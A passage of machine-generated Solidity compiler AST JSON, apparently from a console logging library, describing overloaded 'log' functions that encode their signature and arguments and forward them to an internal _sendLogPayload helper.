pure"}},"id":25630,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17305:78:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25631,"nodeType":"ExpressionStatement","src":"17305:78:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17247:3:15","parameters":{"id":25620,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25615,"mutability":"mutable","name":"p0","nameLocation":"17256:2:15","nodeType":"VariableDeclaration","scope":25633,"src":"17251:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25614,"name":"bool","nodeType":"ElementaryTypeName","src":"17251:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25617,"mutability":"mutable","name":"p1","nameLocation":"17268:2:15","nodeType":"VariableDeclaration","scope":25633,"src":"17260:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25616,"name":"address","nodeType":"ElementaryTypeName","src":"17260:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25619,"mutability":"mutable","name":"p2","nameLocation":"17277:2:15","nodeType":"VariableDeclaration","scope":25633,"src":"17272:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25618,"name":"bool","nodeType":"ElementaryTypeName","src":"17272:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"17250:30:15"},"returnParameters":{"id":25621,"nodeType":"ParameterList","parameters":[],"src":"17295:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25653,"nodeType":"FunctionDefinition","src":"17396:158:15","nodes":[],"body":{"id":25652,"nodeType":"Block","src":"17456:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c6164647265737329","id":25645,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17506:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d2763667477f08a6a3f8ce84e1cc1aeb5e67ee2996f5f36e8939da2b8b8f0265","typeString":"literal_string \"log(bool,address,address)\""},"value":"log(bool,address,address)"},{"id":25646,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25635,"src":"17535:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":25647,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25637,"src":"17539:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25648,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25639,"src":"17543:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d2763667477f08a6a3f8ce84e1cc1aeb5e67ee2996f5f36e8939da2b8b8f0265","typeString":"literal_string \"log(bool,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25643,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17482:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25644,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17486:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17482:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25649,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17482:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25642,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"17466:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17466:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25651,"nodeType":"ExpressionStatement","src":"17466:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17405:3:15","parameters":{"id":25640,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25635,"mutability":"mutable","name":"p0","nameLocation":"17414:2:15","nodeType":"VariableDeclaration","scope":25653,"src":"17409:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25634,"name":"bool","nodeType":"ElementaryTypeName","src":"17409:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":25637,"mutability":"mutable","name":"p1","nameLocation":"17426:2:15","nodeType":"VariableDeclaration","scope":25653,"src":"17418:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25636,"name":"address","nodeType":"ElementaryTypeName","src":"17418:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25639,"mutability":"mutable","name":"p2","nameLocation":"17438:2:15","nodeType":"VariableDeclaration","scope":25653,"src":"17430:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25638,"name":"address","nodeType":"ElementaryTypeName","src":"17430:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17408:33:15"},"returnParameters":{"id":25641,"nodeType":"ParameterList","parameters":[],"src":"17456:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25673,"nodeType":"FunctionDefinition","src":"17560:164:15","nodes":[],"body":{"id":25672,"nodeType":"Block","src":"17623:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c75696e7432353629","id":25665,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17673:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_b69bcaf6823fa467c87c127df102001d1ca4e8a6dc08cab8aa1e5ab4a0ae8c76","typeString":"literal_string \"log(address,uint256,uint256)\""},"value":"log(address,uint256,uint256)"},{"id":25666,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25655,"src":"17705:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25667,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25657,"src":"17709:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25668,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25659,"src":"17713:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_b69bcaf6823fa467c87c127df102001d1ca4e8a6dc08cab8aa1e5ab4a0ae8c76","typeString":"literal_string \"log(address,uint256,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25663,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17649:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25664,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17653:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17649:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25669,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17649:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25662,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"17633:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25670,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17633:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25671,"nodeType":"ExpressionStatement","src":"17633:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17569:3:15","parameters":{"id":25660,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25655,"mutability":"mutable","name":"p0","nameLocation":"17581:2:15","nodeType":"VariableDeclaration","scope":25673,"src":"17573:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25654,"name":"address","nodeType":"ElementaryTypeName","src":"17573:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25657,"mutability":"mutable","name":"p1","nameLocation":"17593:2:15","nodeType":"VariableDeclaration","scope":25673,"src":"17585:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25656,"name":"uint256","nodeType":"ElementaryTypeName","src":"17585:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25659,"mutability":"mutable","name":"p2","nameLocation":"17605:2:15","nodeType":"VariableDeclaration","scope":25673,"src":"17597:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25658,"name":"uint256","nodeType":"ElementaryTypeName","src":"17597:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17572:36:15"},"returnParameters":{"id":25661,"nodeType":"ParameterList","parameters":[],"src":"17623:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25693,"nodeType":"FunctionDefinition","src":"17730:169:15","nodes":[],"body":{"id":25692,"nodeType":"Block","src":"17799:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c737472696e6729","id":25685,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"17849:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_a1f2e8aa7ff0c088860d7b3f0d1dc288d8e8a07808525cc31a5691f1bc0e149d","typeString":"literal_string \"log(address,uint256,string)\""},"value":"log(address,uint256,string)"},{"id":25686,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25675,"src":"17880:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25687,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25677,"src":"17884:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25688,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25679,"src":"17888:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a1f2e8aa7ff0c088860d7b3f0d1dc288d8e8a07808525cc31a5691f1bc0e149d","typeString":"literal_string \"log(address,uint256,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":25683,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17825:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25684,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17829:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17825:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25689,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17825:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25682,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"17809:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25690,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17809:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25691,"nodeType":"ExpressionStatement","src":"17809:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17739:3:15","parameters":{"id":25680,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25675,"mutability":"mutable","name":"p0","nameLocation":"17751:2:15","nodeType":"VariableDeclaration","scope":25693,"src":"17743:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25674,"name":"address","nodeType":"ElementaryTypeName","src":"17743:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25677,"mutability":"mutable","name":"p1","nameLocation":"17763:2:15","nodeType":"VariableDeclaration","scope":25693,"src":"17755:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25676,"name":"uint256","nodeType":"ElementaryTypeName","src":"17755:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25679,"mutability":"mutable","name":"p2","nameLocation":"17781:2:15","nodeType":"VariableDeclaration","scope":25693,"src":"17767:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25678,"name":"string","nodeType":"ElementaryTypeName","src":"17767:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"17742:42:15"},"returnParameters":{"id":25681,"nodeType":"ParameterList","parameters":[],"src":"17799:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25713,"nodeType":"FunctionDefinition","src":"17905:158:15","nodes":[],"body":{"id":25712,"nodeType":"Block","src":"17965:98:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c626f6f6c29","id":25705,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18015:27:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_678209a8f42181c670dc624bae130f552678a896a5cb06db485524796aca1390","typeString":"literal_string \"log(address,uint256,bool)\""},"value":"log(address,uint256,bool)"},{"id":25706,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25695,"src":"18044:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25707,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25697,"src":"18048:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25708,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25699,"src":"18052:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_678209a8f42181c670dc624bae130f552678a896a5cb06db485524796aca1390","typeString":"literal_string \"log(address,uint256,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":25703,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"17991:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25704,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"17995:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"17991:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25709,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17991:64:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25702,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"17975:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25710,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17975:81:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25711,"nodeType":"ExpressionStatement","src":"17975:81:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"17914:3:15","parameters":{"id":25700,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25695,"mutability":"mutable","name":"p0","nameLocation":"17926:2:15","nodeType":"VariableDeclaration","scope":25713,"src":"17918:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25694,"name":"address","nodeType":"ElementaryTypeName","src":"17918:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25697,"mutability":"mutable","name":"p1","nameLocation":"17938:2:15","nodeType":"VariableDeclaration","scope":25713,"src":"17930:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25696,"name":"uint256","nodeType":"ElementaryTypeName","src":"17930:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25699,"mutability":"mutable","name":"p2","nameLocation":"17947:2:15","nodeType":"VariableDeclaration","scope":25713,"src":"17942:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":25698,"name":"bool","nodeType":"ElementaryTypeName","src":"17942:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"17917:33:15"},"returnParameters":{"id":25701,"nodeType":"ParameterList","parameters":[],"src":"17965:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25733,"nodeType":"FunctionDefinition","src":"18069:164:15","nodes":[],"body":{"id":25732,"nodeType":"Block","src":"18132:101:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e743235362c6164647265737329","id":25725,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18182:30:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7bc0d848840f8a2b7df87b30af9a8d9856aea86658fd890c9e8abce72cda0b36","typeString":"literal_string \"log(address,uint256,address)\""},"value":"log(address,uint256,address)"},{"id":25726,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25715,"src":"18214:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25727,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25717,"src":"18218:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":25728,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25719,"src":"18222:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7bc0d848840f8a2b7df87b30af9a8d9856aea86658fd890c9e8abce72cda0b36","typeString":"literal_string \"log(address,uint256,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":25723,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18158:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25724,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18162:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18158:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25729,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18158:67:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25722,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"18142:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25730,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18142:84:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25731,"nodeType":"ExpressionStatement","src":"18142:84:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18078:3:15","parameters":{"id":25720,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25715,"mutability":"mutable","name":"p0","nameLocation":"18090:2:15","nodeType":"VariableDeclaration","scope":25733,"src":"18082:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25714,"name":"address","nodeType":"ElementaryTypeName","src":"18082:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25717,"mutability":"mutable","name":"p1","nameLocation":"18102:2:15","nodeType":"VariableDeclaration","scope":25733,"src":"18094:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":25716,"name":"uint256","nodeType":"ElementaryTypeName","src":"18094:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":25719,"mutability":"mutable","name":"p2","nameLocation":"18114:2:15","nodeType":"VariableDeclaration","scope":25733,"src":"18106:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25718,"name":"address","nodeType":"ElementaryTypeName","src":"18106:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18081:36:15"},"returnParameters":{"id":25721,"nodeType":"ParameterList","parameters":[],"src":"18132:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":25753,"nodeType":"FunctionDefinition","src":"18239:169:15","nodes":[],"body":{"id":25752,"nodeType":"Block","src":"18308:100:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c737472696e672c75696e7432353629","id":25745,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18358:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_67dd6ff15de5c635b9900811039f919659774d9843a07b7bcdfb1b54315e9200","typeString":"literal_string \"log(address,string,uint256)\""},"value":"log(address,string,uint256)"},{"id":25746,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25735,"src":"18389:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":25747,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25737,"src":"18393:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":25748,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":25739,"src":"18397:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_67dd6ff15de5c635b9900811039f919659774d9843a07b7bcdfb1b54315e9200","typeString":"literal_string \"log(address,string,uint256)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":25743,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18334:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":25744,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18338:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"18334:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":25749,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18334:66:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":25742,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"18318:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":25750,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18318:83:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":25751,"nodeType":"ExpressionStatement","src":"18318:83:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"18248:3:15","parameters":{"id":25740,"nodeType":"ParameterList","parameters":[{"constant":false,"id":25735,"mutability":"mutable","name":"p0","nameLocation":"18260:2:15","nodeType":"VariableDeclaration","scope":25753,"src":"18252:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":25734,"name":"address","nodeType":"ElementaryTypeName","src":"18252:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":25737,"mutability":"mutable","name":"p1","nameLocation":"18278:2:15","nodeType":"VariableDeclaration","scope":25753,"src":"18264:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":25736,"name":"string","nodeType":"ElementaryTypeName","src":"18264:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":25739,"mutability":"mutable","name":"